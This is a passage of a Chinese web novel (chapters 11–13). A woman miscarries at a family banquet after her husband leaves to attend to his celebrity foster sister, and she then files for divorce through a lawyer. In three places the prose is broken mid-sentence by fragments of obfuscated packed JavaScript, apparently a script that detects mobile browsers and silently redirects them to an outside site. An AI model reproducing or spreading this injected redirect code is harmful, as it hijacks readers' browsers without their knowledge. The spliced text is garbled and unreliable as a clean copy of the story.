“当初他哭着跟我说对你做了那种事,我以为他会从此长记性,知道作为一个成年人,该有的担当和责任分别是什么,没想到都要当爸爸了,身上的孩子气还是没削减多少,他啊,就是被我叔叔阿姨惯坏了,做事不知轻重,遇见挫折也没个主意,又不敢跟叔叔阿姨说,只敢跟我说。” 许满一惊,池柠说的难道她第一次怀孕这件事?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427779|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但当时杜曼玲为了骆家脸面,从没对外说过她有孕,池柠怎么是知道的?难道是杜曼玲自己跟池柠说的? 她求证似的问道:“你知道我曾经怀过孕?” “知道啊,除了你和小迟,我比任何一个人知道得都早。” 池柠流露出回忆过去的神情,讲得有声有色。 “你不知道当时小迟在电话里跟我坦白这件事时有多慌,他跟我说,他犯错了,我问他犯了什么错,他吞吞吐吐就是不说,只问我要不要原谅他。你说我有什么资格原谅他呢?但是又怕他真的犯了杀人放火这种原则性错误,就告诉他,如果还有机会就补救,就尽力去补救。后来还是我自己猜出来的。我生气的跑去质问他,他才跟我坦白,说把一个大学同学的肚子搞大了。” 许满敏锐的抓住一个词:“大学同学?” “对啊,大学同学,你们不是一个大学的吗?他这人幼稚到什么程度啊,连跟你发生了关系都不知道该怎么办,还得问我。我记得那时候是元旦吧,我问他,对方是谁?哪家姑娘?许满你不知道,他保护你保护得特别好,为了你的名节,一口咬定说不认识你,不说你的名字,我就骂他,有勇气做没勇气认!女孩子敢在一个人身上献出名节,那是真的喜欢才这么做!如果是个男人,就娶了她,为她负责!他死活不愿意,口无遮拦一通瞎说,什么自己还小,什么还没做好准备,什么真心另有所属,要不是我叔叔拦着,阿姨非狠奏他一顿不可!所以许满啊,跟小迟这种人谈恋爱呢,累得慌,也得亏是你,为人平和,心地善良,能包容他身上的这些缺点,换做其他人,早就跑了……” 许满听不下去了,她很想捂住自己的耳朵,不让池柠说的任何一个字进入脑子。 但就算捂住了,那些字,那些话,还是会在她的脑海里不住回响,一遍又一遍,不停歇似的。 所以,她其实是骆亦迟生活里的一个意外? 在骆亦迟心里,她只是一个普普通通的大学同学? 没有喜欢过她。 甚至,从来都不认识她? 选择跟她谈恋爱,跟她结婚,每一步,每一个决定,都不是他自己真实的想法? 都有池柠参与其中替他做决定? 是这个意思吗? 对吗? 一直插在身体里的那根刺凭空冒出来,在许满载满爱意的心上,狠狠地戳刺了一下,破了,从洞口冒出红艳艳的血来。 初夜的记忆冲破牢笼,呼啸着摊开在许满眼前。 许满想起一个遗忘很久的细节。 那天,她用了室友送的栀子花味洗发水。 她从不曾对栀子花拥有特殊情感,那是第一次,她身上停留了这种味道。 池柠很喜欢栀子花,这不是什么秘密。 骆亦迟那么喜欢池柠,有没有一种可能,那一晚,他闻到她身上的栀子花香,错误的将她当成了池柠呢? “你身上的味道,还是那么好闻,除了你,谁还会用这个味道……” “让我亲亲你,好吗?……亲过了,我就彻底断了这个念想。” “什么念想?” “……喜欢你的念想。” 呕—— 喉咙突然酸哽翻涌,许满以迅雷不及掩耳之势捂住嘴,却还是没挡住刚喝下去的那口水,哇的一声,带着未完全消化的食物,弯腰吐了出来。 11. 第 11 章 后来这几天,许满没有去看望池柠。 倒是隔三差五的,会收到池柠发来的关切问候。 【肠胃炎好点了吗?】 【链接:肠胃炎牢记这些进食规则】 【链接:医生都不会告诉你,养胃的六种方法】 诸如此类。 每次许满都礼貌回复,但中心思想跑不过这几句:好多了,不用担心,别光想着我,你也多让小栀带你出去逛逛,运动运动,呼吸新鲜空气。 池柠住院后,骆亦迟把工作都往后排了,每天都很早下班,去医院里陪池柠。 以往许满还会抱怨两句,但这次她没生气,也没发表任何不满的态度。 骆亦迟爱干嘛就干嘛,她懒得管懒得想,索性眼不见为净,该做产检就自己一个人去,该和林逸沟通离婚协议的内容就积极沟通。 这样过了几天,池柠出院了。 许满礼尚往来给池柠去了个电话,表示要去探望她。 但池柠说经纪人已经给她安排了好多工作,几乎没有私人时间,许满只好作罢。 八月份,一个骄阳似火的午后,家族群里传来一个好消息,骆亦迟大伯家的孙女骆婷婷考上了全国排名顶尖的一所大学,要举办升学宴。 群里充斥着一片夹杂金钱和红包的热闹祝福声,许满跟这些亲戚不熟,但还是跟着,携红包送上了一句真心祝福。 升学宴当天,骆亦迟带许满去参加。 从起床开始,许满就觉得肚子不舒服。 小腹隐隐有一种下坠感,不影响行动,但无法忽视。 最近一次的产检结果不好,许满疑心要出问题,但还不到复诊的日子,犹豫要不要把升学宴推掉,去医院看看。 她对骆亦迟说:“我有点不舒服,今天不想去了。” “哪里不舒服?” “肚子疼。” “肠胃炎?不是好了吗?” 骆亦迟是从池柠那里得知许满得了肠胃炎,后来还问过许满,许满说吃了药,已经好了。 许满:“肚子疼就只能是肠胃炎?” 骆亦迟反问:“你最近不就肠胃炎难受吗?” “你见我吃肠胃方面的药了?” “我天天回来那么晚,哪有时间见你吃药?” 许满懒得跟骆亦迟争执,白了骆亦迟一眼,拿上亲手给骆婷婷包的花束,“我一会儿要去医院看看,这束花你帮我交给婷婷,替我祝她学业有成,前程似锦。” 骆亦迟不懂许满又哪根筋搭错了,升学宴说不去就不去,大家看到他自个儿一个人去,肯定要胡乱猜测。 没接那束花,骆亦迟不耐烦安排道:“升学宴在中午,你先忍忍,下午我再带你去医院。” “不用等下午了,待会儿我自己去,反正顺路,你把我放在医院门口就行,看完医生我再去找你们。” “开玩笑,你一个人能行?” “怎么不行?哪次上医院我不是一个人去的?” “……” 骆亦迟哑口无言。 他不解的看着许满,以前乖巧听话的一个女孩子,怎么一结婚,就变了个人一样,天天阴阳怪气吊着个脸,说话一不注意,就跟吃了炮仗一样,婚前婚后,简直判若两人。 得,还是少说话为妙吧,不然一会儿又该吵架了。 上车出发,许满在手机上看了下产检医院当前医生的号源,结果上午的号一个都没了,下午医生又不排班,许满只得曲线救国挂了个互联网医院的号,紧急问询一下。 她把上次的检查报告和当下的感觉描述给医生,医生给出结论:胚胎发育不良,流产可能,请尽早就医。 许满悬着的心终于死了。 这个结果虽然早就预料到,但当医生宣布的那一刻,心里还是不可避免的难过。 本想借着这个孩子惩罚骆亦迟,没想到最先惩罚的是自己。 不被祝福的孩子,不用征求别人意见,会自己选择离开还是留下。 她的孩子,再一次做出了离开她的选择。 “骆亦迟,不用去医院了,我线上问过医生了,和我想的一样。” “哦,那好,下午我带你回老宅,让我爸的私人医生给你看看。” 酒店里已经到了一批人。 升学宴的主人公骆婷婷穿着华贵靓丽的定制礼服,打扮得明艳动人,正开开心心和朋友们一起合影拍照。 宽敞可容纳几百人的小餐厅,愣是布置得比婚礼现场还高级吸睛。 许满送上鲜花和红包,让骆亦迟自己去跟亲戚朋友打招呼,自己则去找服务员要了杯热水,找到写着她名字的圆桌坐下,借着喝水缓解小腹的不适。 “曼玲啊,你看大哥家的孙女婷婷都上大学了,你什么时候抱孙子啊?我们这红包都准备好了,就等着给你添喜了!” 熟悉的声音引起了许满的注意,许满循声回头,果然看见表姨挎着杜曼玲的胳膊,正朝着她这桌一扭一扭的走过来。 不知道表姨跟大伯两家挂的是什么亲,反正表姨人是来了。 表姨看见许满,那装扮精致的脸上堆起一个生长因子自由疯长似的横笑,“哟,小迟媳妇儿在呢,刚才见小迟一人在外头帮着招呼人,还以为就他自个儿来了。” 许满站起来,把挨着的那几个椅子拉开,礼貌的请表姨和杜曼玲入座,“妈,表姨,你们坐。” 然后借口去卫生间准备逃离。 表姨热情亲切拦住她,“小迟媳妇儿,先别急着走,姨跟你说会儿话。” 许满是真不舒服,嘴唇都有点泛白了,忍痛勉力站直身子,说:“妈,表姨,我肚子不舒服,是真的想去洗手间。” 表姨表情极为夸张的“哎呀”一声,“什么肚子疼,我还不了解你们年轻人,净是找些乱七八糟的借口躲我们长辈。” 许满实在是讨厌表姨,听她这么直白,干脆自己也不管多么多了,已经矜持了这么久,不矜持一回又怎样,于是捂着肚子道:“哪能是借口呢,再不去要拉裤子了。” 杜曼玲皱眉做厌恶状,“对表姨怎么说话呢?这种粗鄙话都说得出口,不礼貌。” “我要是真当场拉这儿了那才是真不礼貌呢。” 杜曼玲大跌眼镜,从没见许满这么失礼过,双目圆睁,不可思议的看着她,指着她的鼻子:“你你你……快去。” 许满解脱了,扯开一个敷衍的笑,小碎步腾挪,快速冲去了卫生间。 杜曼玲见她走远,别过脸,不满的对表姨抱怨:“乡野丫头,真是拿不上台面,本想千挑万选,没想到连选择的机会都没有,就被这丫头捷足先登了。真是的,小迟怎么看上她了?” 洗手间这里很热闹。 骆婷婷拍完了照,和她的朋友们围在镜子前叽叽喳喳,你一言我一语的笑闹补妆。 都是充满青春朝气的女孩子,许满望着她们,眼底是盖不住的羡慕之情。 美好的青春年华,光明的未来,她无法拥有的两样宝贵东西,这些女孩子们全都拥有。 如果那个冬夜,没有遇见骆亦迟就好了。 没有遇见骆亦迟,就不会怀孕,不会摔那一跤,不会在复试当天流产。 她也会像骆婷婷一样,怀揣追梦的抱负,踏入知识的殿堂。 不需要有升学宴,也不需要谁的祝福,只要一个录取通知书,她就会非常满足。 她会结交新的朋友,会和新朋友一起上课,一起探讨,一起熬夜做课题。 而不是整天待在那个没有人气的房子里,等一个人回家,从白天等到晚上。 沉浸在美妆世界的少女们没有注意到许满,许满放慢脚步,弯腰,捂着肚子慢吞吞进了卫生间。 关上门,紧绷的身子终于得以放松,许满任由疼痛将自己包裹。 小腹像是被人抽打过,一阵一阵的,不断膨胀收缩。 时间在流逝,痛感在加强。 许满窝身坐在马桶上,难耐的揉着肚子。 这疼痛太过熟悉,她恨不得把手揉进去,仿佛只有这样,□□才能得到一丁点的缓解。 口腔里溢出一声呻x吟,许满深呼吸,眼角余光忽然暼到腿间内裤,神色一顿。 那原本白色的地方,不知什么时候沾染了大片鲜艳的红。 这是……要生化了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427780|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好快,怪不得这么痛。 该怎么办? 许满全部注意力和力气都在肚子上,无暇顾及其他,只能勉强分出些神来思考,接下来是该坐在马桶上继续等?还是赶紧去医院。 仅权衡了一秒,她便有了结论。 抽了点卫生纸囫囵垫在内裤上上,许满整理好衣服,扶着墙出去了。 刚走到走廊,电话响了。 许满靠坐在墙边,从包里掏出手机。 骆亦迟在电话里听起来很不高兴:“你去哪儿了?妈和表姨不就想和你说说话,你怎么把她们晾那儿就自己走了?还说话那么难听。” 疼痛是一阵一阵的,疼起来根本说不出话,许满只能趁阵痛过去的时间,勉强说上几句。 “我……我告诉她们了,要去卫生间啊。” 但她无法大声,姑娘们的声音又很吵闹,她不确定骆亦迟听见了没有。 “什么?” “我早上我不是跟你说过,我不舒服……肚子疼。” “肚子疼?你在卫生间?” “嗯……是啊,妈没跟你说吗?骆亦迟,我……,你去帮我,买点卫生巾好不……,我流产……” “你说什么?大点声。” “我要流……” “别说话,我看见你了。” 骆亦迟挂了电话。 几秒钟后,骆亦迟出现在了许满面前。 “蹲在这里做什么?这么多人看着呢,快起来,刚表姨给了我一个方子,说可管用了,能一举得男,我妈她着急抱孙子,等下午回了老宅,我让我爸的医生先看看,靠谱的话我们就是试试。”骆亦迟一边喋喋不休,一边伸手去拉许满。 走廊里空调开得很足,许满疼得身上出了一层密密的汗。 她没力气抬头,皱着眉,痛苦的瘫坐在地上。 骆亦迟对她说了什么,她一个字也没听清,只知道那人不耐烦的向她伸出手的时候,她条件反射,迫不及待搭了上去。 “骆亦迟,我走不动,你去帮我买点……” “买什么?等我一下。” 一阵急促的电话铃音响起,骆亦迟抽回手,“我接个电话。” 许满惨白的手悬在半空,冷气打下来,汗湿的手心传来阵阵凉意,一路蔓延,缓缓的,窜向心底。 “喂?小栀?池柠怎么了?……热搜?什么热搜……简直胡说八道!我都结婚了,怎么可能跟她是那种关系!……你先别管那么多了,你看住池柠,别让她看手机,也别让她胡来,经纪人也在那儿是吧,你们等我,我这就赶过去。” 骆亦迟满脸担忧的挂了电话。 姑娘们爽朗的笑声从卫生间里漫出来,骆亦迟听见有骆婷婷在,叫了她一声:“婷婷?” 骆婷婷探出头。 骆亦迟说:“帮我照顾一下你小婶,她肠胃不舒服,你给她端点热水来,我有点急事,得去处理一下。” 然后看向许满,“你先忍一忍,在这儿等着我,我去池柠那里看看,如果没什么事儿的话,我就回来。” 丢下这句话,骆亦迟转身,头也不回的走了。 出发前,许满想让骆亦迟带她去医院,骆亦迟说了什么? 说让她先忍忍。 现在,她实在难受,他还是让她先忍一忍。 她很想说,她有事,她不能忍,她等不及了,可他,连她说话的机会都不给。 ——如果我和池柠同时掉河里了,你先救谁? 那天晚上,许满这样问,骆亦迟没给她答案。 在没落实之前,许满曾隐隐期待,她心中的那个答案,是个错误答案。 而现实给了她致命一击,不留任何情面的,打碎了她所有的美好幻想。 一切都是自欺欺人。 爱与不爱,如此明显。 疼痛再次袭来,许满已经没有说话的力气了。 她一直以为自己不怕疼,直到现在,她才知道,世上没有哪一种疼,会让她疼到极致,哭都不哭出来。 此时此刻,她体会到了。 最深刻的疼,不是疼在身上,而是疼在心上。 12. 第 12 章 “小婶,小婶?你怎么了小婶?” “呀婷婷,快看,你小婶身下有血。” “血?” 骆婷婷忙往许满身下一看,忽然大惊失色,当即不顾形象扯开了嗓子,朝阔步小跑的骆亦迟的背影大喊:“小叔,骆亦迟!先别走!小婶大出血晕倒了!!” 嘹亮嗓音回荡,很多人都听到了,但已经走出门口的骆亦迟没听见。 他是被追出去的骆婷婷的朋友拽回来的。 骆亦迟听闻情况还很诧异,“什么大出血?” 骆婷婷恼火指责他,“你站那儿干嘛?那么大声喊你你听不见吗,流血了就是流血了,你不会看?” 骆亦迟挥开人群,迟疑的走上前。 只见许满双手捂着肚子,脸色煞白的倒在骆婷婷一个朋友身上,汗湿的额上沾着碎发,眉头紧皱,嘴巴紧抿,看起来十分痛苦的样子。 “许满?” 她叫了叫许满,见她不应,又伸手推了推她。 许满纹丝不动。 不应该啊? 肠胃炎而已,怎么晕倒了? 身子这么虚弱? “婷婷小叔,婷婷小婶下面很多血。” 骆亦迟便去看许满身下,果然有一大片血渍。 这出血量…… 不对,肠胃炎不会这么出血吧? 见骆亦迟手足无措,骆婷婷问他,“小叔,小婶上次例假什么时候你知道吗?会不会是例假来了?” 骆亦迟摇头,“不知道,她从不跟我说这些。” 骆婷婷:“那小婶来例假时有疼晕过吗?” 骆亦迟再次摇头,“不知道。” 骆婷婷:“小婶有跟你说今天来没来例假吗?” 骆亦迟依旧摇头,“她只说得了肠胃炎,肚子疼。” 骆婷婷匪夷所思:“小叔你怎么一问三不知?你没有常识吗?你看这像肠胃炎吗?你长着嘴,她不说,你不会问呐!” 这时,一个朋友缓缓道:“我感觉有点不正常,即使大姨妈出血,也不会出这么一大片吧,要不还是叫一下救护车?” “对对,赶紧叫救护车。” 二十分钟后,救护车把许满接走了。 目送骆亦迟跟着一起上了车,骆婷婷的朋友不禁问了一个问题。 “婷婷,你小叔和小婶真是夫妻吗?我怎么看着不像呢。” “是真实夫妻啊,去年他们婚礼我还参加了呢。” “可我看你小叔并不关心她啊,倒是刚才听他接了一个电话,提到池柠,就是你那个大明星小姑,一下就慌了神,丢下你小婶就走了。” “他和池柠从小一起长大,关心关心不很正常吗?” “你小叔这表现,不只是关心吧?你没看今天上午的热搜,狗仔们都说,你小叔是池柠的神秘新男友呢?” “狗仔捕风捉影瞎写的你们也信?池柠换男友如换衣裳,次次被拍到次次不同,其中一个身形跟我小叔撞款了也有可能吧?” “关键你小叔这态度,让我不得不相信啊。” “怎么不得不相信了,什么瓜?你给我看看,我判断判断。” “喏,就这个,当红偶像剧女主住院,陌生男子日日探望,不仅有说有笑陪同,还夜宿女明星家直至天亮才出。婷婷,你不是说,池柠以前寄养在你小叔家吗?仔细一想,这种寄养关系,不更方便打掩护吗?” 狗仔照片虽然拍得模糊,但骆婷婷还是一眼认出,那个拥着池柠瘦小肩膀正笑得一脸荡漾的男人,正式骆亦迟。 “姐弟之间这样不是很正常吗?我不信你们在家跟自己的哥哥弟弟没这样搂抱过……” 骆婷婷忽然卡壳,她想起很久以前,亲戚之间流传的一些关于骆亦迟和池柠的闲话,神色忽然一变。 “你们先聊,我有点事去问下我爸妈……” . 许满迷迷糊糊醒来,是在医院里。 骆亦迟站在病床边,医生絮絮叨叨在跟他嘱咐一些内容,他一个劲儿的点头:“是是是。” 许满听了几句,都是关于自己的,结合对话,隐隐约约知道发生了什么。 这个结果并不意外。 医生走了,骆亦迟回到病床边坐下,抓起许满的手,抵在额头上,闭着眼,不知道在想什么。 许满没吭声,不动声色的把手抽走,翻了个身。 骆亦迟哑着嗓子:“许满,你醒了?” 他说话的声音很轻,像是怕吵醒她似的。 许满一动不动,保持匀速的呼吸,没有回答,仿佛还在睡着一样。 又过了很久,骆亦迟再次开口,不是质问,只是用平平常常的陈述口吻,叹息着,“你为什么不告诉我,你怀孕了。” 许满还是没说话。 骆亦迟又说:“你知不知道,我听到这个消息,有多惊喜,多难过,多生气。” 他的语气里满是惋惜和懊恼,让许满产生一种错觉,就好像,他失去了某件很宝贵的东西一样。 但许满没说话,她很平静,平静得甚至有点反常。 她的喉咙里像卡着一块烧红的炭,哽得难受,但她不想哭,也不想生气,哭和生气有什么用呢,解决不了任何问题,只会让她更难过更伤心罢了。 很久,许满觉得没那么难受了,才慢慢的开口。 “告不告诉你有区别吗?结果不都是一样的。” “不一样……” “哪里不一样?会选择我,而不是池柠吗?” 病房里落针可闻,空调发出嗡嗡的运转声。 骆亦迟张了张嘴,想说什么,又不知道该怎么说。 不知道是不想回答,还是不知道该如何回答。 其实答案没有对错之分,许满并不期盼骆亦迟能给她一个答案,不管那个答案是她想的那个,还是不是她想的那个。 不重要,都不重要了。 许满深吸一口气,问他一个问题。 “骆亦迟,你知道你很变态吗?大家都知道你喜欢池柠吗?” 杜曼玲生日那天晚上,许满这样说过一次。 那次骆亦迟只当是许满生气时的胡言乱语,没放在心上。 现在,许满又提起来,骆亦迟忽然警觉,可能,许满是真的在意这件事。 “我和池柠,不是你想的那样。” “那是怎样的呢?” 骆亦迟不敢看许满的眼睛。 他承认,青春期懵懂之时,确实曾对池柠有过一段超乎寻常的想法。 那时池柠寄住在他家,正逢骆彦怀和杜曼玲事业蒸蒸日上,对于他和池柠的照顾有所疏忽。 池柠比骆亦迟大两岁,两人上的是同一所小初高一贯制国际学校,平时一起上下学,除了上课,几乎天天黏在一起。 就有同学问骆亦迟了:“你跟高中部的池柠是什么关系,怎么形影不离的?我爸妈说她寄住在你家,是你爸妈给你找的童养媳,她长得还怪好看的,你们进行到哪一步了?几垒了?” 说者无心,听者有意。 那时骆亦迟刚上初三,已经接触过生理课,知道了点男男女女那些事儿。 骆亦迟象征性的反驳了几句,就臊得浑身发烫,“滚几巴旦,她是我姐,我们怎么可能干那种事?” 虽然嘴上这么说,但没人知道的地方,想法早就出卖了他。 他上课时会不由自主想念池柠,眼神眺望池柠教学楼的方向。 睡觉时也会频繁梦见池柠,醒来湿了裤子。 骆亦迟意识到自己肮脏龌龊的想法后,看池柠时的眼神,便不自觉带了点异样色彩。 连池柠洗好挂在阳台上的内衣,都思想旖旎,不敢直视一眼。 一个周末,在同学的教唆下,他写了一封情书,趁池柠洗澡时,偷偷塞在了池柠枕头下。 情书塞过去后,池柠一直没有反应。 那几天,骆亦迟魂不守舍,度日如年,上课学习全不在状态。 池柠的一个动作一个眼神,都能让他浮想联翩,过度解读。 直到第二个周末,池柠从家里搬了出去。 那天杜曼玲没去公司,在池柠走后,拿着粉红色的情书,生气的拍在了骆亦迟脸上。 “我让你们做姐弟,你却存了这种心思?要不是保姆收拾房间看到,你们还要瞒我到什么时候?” 骆亦迟吓哭了。 “妈,池柠呢?” “你对她有那想法?她哪儿还有脸面住我们家?” “你把她赶走了?” “她自己走的。” 后来,池柠一直躲着骆亦迟,在学校里碰到,都会自觉绕开十米远。 一次课间,骆亦迟拦住她,把她拉到隐蔽角落,逼问他:“为什么躲我?为什么要把情书交给我妈?” 池柠很苦恼的说:“如果不是阿姨拿着你写的信来找我,我根本就不知道,原来你喜欢我。这些天我一直在想,该怎么跟你说。” 她斟酌着语句,尽量不伤害骆亦迟的自尊心,又小心的维护着这珍贵的姐弟关系。 “我很感谢叔叔阿姨给了我第二个家,不仅衣食住行上从没亏待我,还让我上这么好的学校,我是心存感激的。正因为心存感激,所以我不能伤他们的心。他们对我来说,不是父母,远胜父母,我很珍惜这个家,也很珍惜你这个弟弟,但姐弟怎么能谈恋爱呢?小迟,你对我来说,只是弟弟,仅此而已。下学期我就高三了,我已经跟叔叔阿姨表明,明年毕业后,会去法国跟我妈妈团聚,在那里完成大学课程。” 骆亦迟表情凝固,“可是我们没有血缘关系呐,能在一起的。” “没有血缘,胜似拥有血缘。小迟,我和你的关系,只能有两种,要么姐弟,要么陌生人。” 后来,池柠真的去了法国。 那段时间,骆亦迟的人生整个陷入了黑暗。 他通过各种方式联系池柠,但池柠从不给他回应。 哪怕他做出辍学绝食这样极端的事,池柠就像消失了一样,也对他不管不问。 似乎真的把他当成了一个陌生人。 骆亦迟上了高中,把大学目标设成了池柠法国在读的大学。 杜曼玲知道他偷学法语,偷偷联系法国学校,却什么都没做。 直到高考完之后,骆亦迟拿到了法国签证,杜曼玲告诉他,他已经被连城市内的一所大学录取,他不能出国,他得在连城读完大学。 骆亦迟以为自己做得天衣无缝,拿出法国大学的offer,说:“我没填国内大学。” 杜曼玲翻着他的签证:“是的,你没填,我帮你填的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆亦迟重新见到池柠,表现得很自然,不仅没失态,还姐夫姐夫的叫着池柠的男朋友,让他不要欺负池柠,不然他这个做弟弟的不会放过他。 杜曼玲冷眼旁观,放任他们相处了一段时间,发现骆亦迟没有做出任何逾矩的事,后来还早早的回了学校,连池柠回法国,都没有来相送。 杜曼玲彻底放下心,是在池柠第二次来的时候。 池柠的法国男友在酒店劈腿被池柠逮了个正着,池柠气急败坏,和男朋友扭打起来,惊动警察,被叫进了派出所。 那天杜曼玲和骆彦怀都在忙,没空去接池柠,是骆亦迟去的。 池柠第一次遭受情伤,哭得很伤心。 骆亦迟安慰她:“旧的不去新的不来,世界上那么多男孩子,帅气多金的,温暖深情的,孔武有力的,年轻漂亮的,姐你长这么美,随便勾勾手指,哪个不任你挑选?那个法国佬有什么好?抬头纹跟半永久似的,我觉得他配不上你。你看我手机里这些朋友,个个都是清纯男大,各个都单身,你喜欢哪一个,我去给你当说说,但是这个不行哦,这张是我,你首先得排除我。” 当时杜曼玲就站在不远处听,骆亦迟这些话,让她以为,他是真的放下了。 后来池柠多次往返国内,杜曼玲不但每次都邀请她来家里玩,还帮她找了房子,方便她回国的时候长住。 骆亦迟保持着很好的分寸感,一口一个“姐”的叫着,似乎已经忘了喜欢池柠这件事,也忘了当年那场不伦之恋。 之后不久,池柠的工作重心转移到了国内。 一直到那部校园剧选角,池柠才跟她在法国的妈妈正式告别,回了国。 …… 骆亦迟絮絮叨叨的说出这些往事,最后斩钉截铁的宣布,“虽然曾经我确实对她有过想法,但那只是曾经,我和她现在只是姐弟关系,和对你是不一样的。” 许满望向窗外,明明眼眶又酸又涩,但心情却极度的复杂冷静。 有的人很会说谎,但身体力行,做的事,却与谎言背道而驰,截然相反。 “你还在骗我。” 骆亦迟抬眼:“什么?” “我还是有自知之明的,我和她当然不一样。你爱她,不爱我。” 许满缓了缓。 “骆亦迟,大四那年冬天,在KTV安全通道门那里,你把我当成了她,是吗?” 骆亦迟浑身一震,如遭雷击。 “真恶心。”许满说。 她尽力心平气和,“那天我身上有栀子花香,你把我当成了她,后来你给家里买栀子花味的东西,是想闻香思人,还是想把我浸成栀子花味的,当成她的替身养在身边?” 许满惨笑一声,“不,说我是替身,都抬举我了,我连代餐都算不上,怎么能称做替身?” 骆亦迟哑口无言,张了张嘴,想解释,却不知道该怎样解释,许满才会相信,只能苍白无力的沉默着。 许满慢慢闭上眼睛,她觉得好累,累到不想呼吸,不想思考。 “这是我第二次怀孕了,骆亦迟,你看,他又没有了。” “像极了我们的婚姻,始于意外,不被祝福,没有期待,自然也结不出果来。” 落针可闻的病房里,许满如鲠在喉,平静的说着。 “就让我们错误的开始,正确的结束吧。” “骆亦迟,我们离婚吧。” 13. 第 13 章 许满不需要住院,打完点滴,当天便出院了。 她回家躺了两天,骆亦迟在家照顾了她两天。 许满几乎不跟骆亦迟说话,偌大的房子里,最亲密的两个人,像陌生人一样,除了睡觉吃饭会碰一下面,其他时间,都各过各的。 第三天,由于公司堆积的事物太多,电话一通接一通,骆亦迟不得不回公司处理,便离开了。 许满听见关门的声音,目光空洞的望着天花板,好久,才慢吞吞从床上爬起来。 她留在这个房子里的东西不多,除了婚后添置的一些衣物,基本上都是大学毕业时带过来的。 收拾起来没有花费太多时间和精力,不过一个简简单单的行李箱,就能装下这一年多来的所有。 摆放在客厅里的插花这两天没有照顾,有几枝娇贵的,花瓣都枯萎了。 许满认真的整理了这些插花,整理完,坐在桌子前,凝视着无名指上的戒指,发起了呆。 婚戒在灯光下闪烁着冷冽的光芒,像在柜台里摆放时那样,璀璨夺目。 她手指瘦长,圈号11的戒指戴上都有点松,但当初购买的时候,看中的款式就只剩下这个圈号。 骆亦迟见她喜欢,出手买下了它,然后去男款柜台,挑了个他自己中意的款式,还说:“没必要非得买一对的,选个自己喜欢的凑一对得了,结了婚谁还天天戴啊。” 后来果然如骆亦迟所说,那枚男戒,就只在婚礼当天出现在她手上,婚礼结束后,就没再见过。 许满轻轻转动手指上的戒指,当初戴上的时候轻轻松松,如今取下来,也几乎没费力气。 但奇怪的是,这样一个不合适的戒指,不过在她无名指上待了一年多的时间,竟也留下了一圈白白浅浅的细痕。 戒指内圈刻了一小行字。 LYC&XM 这枚婚戒,曾见证过骆亦迟对她的誓言,陪她走过这段孤独失败的婚姻,如今,又要亲眼目睹她无疾而终的爱情。 哒的一声,金属碰撞大理石,发出清纯的声响。 许满转身,提起行李箱,步伐坚定走向门口。 她没有回头。 一些路,一旦走过,受了伤,就不想再回头了。 . “喂,骆先生吗?您好,我是律师林逸,这里有一份文件需要您签署一下。” 骆亦迟盯着桌面上摆放整齐的文件,他都一一过目并签字了,不知道还遗漏了哪个。 对方是个女人,公事公办的口吻,声音听起来很陌生,不像是认识的人。 这几日因为许满的事,骆亦迟本就心情郁闷,公司堆积的事物又一个接一个的处理不完,搞得人焦头烂额,现在这又不知道哪儿冒出的新员工,连最基本的规章制度都不懂,一个电话打过来就让他签字。 什么法律文件这么重要,还打到他私人手机上? 骆亦迟上来就是一顿教训。 “新来的?公司规章制度忘了?法务部主管没告诉你,需要签字的文件要一并交给总裁办秘书,秘书整理好了才会交到我手上?” 对方完全没被他这番话怵到,等他训完,才礼貌开口。 “骆先生,您好,我是许满的律师,林逸。许女士交代我,此次离婚所有事宜,全权交由我处理。” “什么?” 骆亦迟怀疑自己的耳朵听错了,电话里这个女人在胡说八道什么。 林逸冷静重复:“许女士已经向你正式提出离婚,并且全权交由我代理,骆先生,您还有什么不明白的地方吗?” “离婚?谁同意她离婚了?!” “许女士已经预想到您拒绝离婚的可能,所以委托我写好了离婚协议书,如果您拒绝签字,那么我将会代替许女士向您提起离婚诉讼。” 林逸一板一眼,说的每一个字都骆亦迟烦闷的心情上添了一把火。 许满竟然真的要跟他离婚? 不是开玩笑? 还如此正式? 招呼都不打一声,找了个律师就来跟他谈了? 他同意了吗? 没有! 他是绝对不会同意的! 骆亦迟深吸一口气,强压下去即将喷涌而出的情绪,沉稳的,一字一顿道:“我说了,我、不、同、意、离、婚!” “骆先生,这恐怕由不得您了,离婚协议书已经通过到付的方式,同城加急一式两份分别邮寄到您的家里和公司,稍后您就会收到,请您签好字之后,再邮寄回来。” “谁让你寄了!许满呢,让许满跟我说话……喂?喂!” 嘟嘟—— 林逸挂了电话。 骆亦迟立刻回拨了过去。 电话接通,林逸没给骆亦迟开口的时间,冷冰冰的说:“骆先生,我只回答您关于离婚协议书的内容,如果您对某项条款不满意,我们可以再协商,其他的,恕我无法回答。” 说完,再次挂了电话。 在离婚协议书到达之前,林逸拒绝与骆亦迟沟通。 骆亦迟竭力压抑的怒火腾的一下,燃了起来。 薄薄的手机在他手里发出咯吱咯吱的挤压声响。 许满这样做,是不是还在生气? 她凭什么生气? 他都没怪她隐瞒怀孕的事,她凭什么生气? 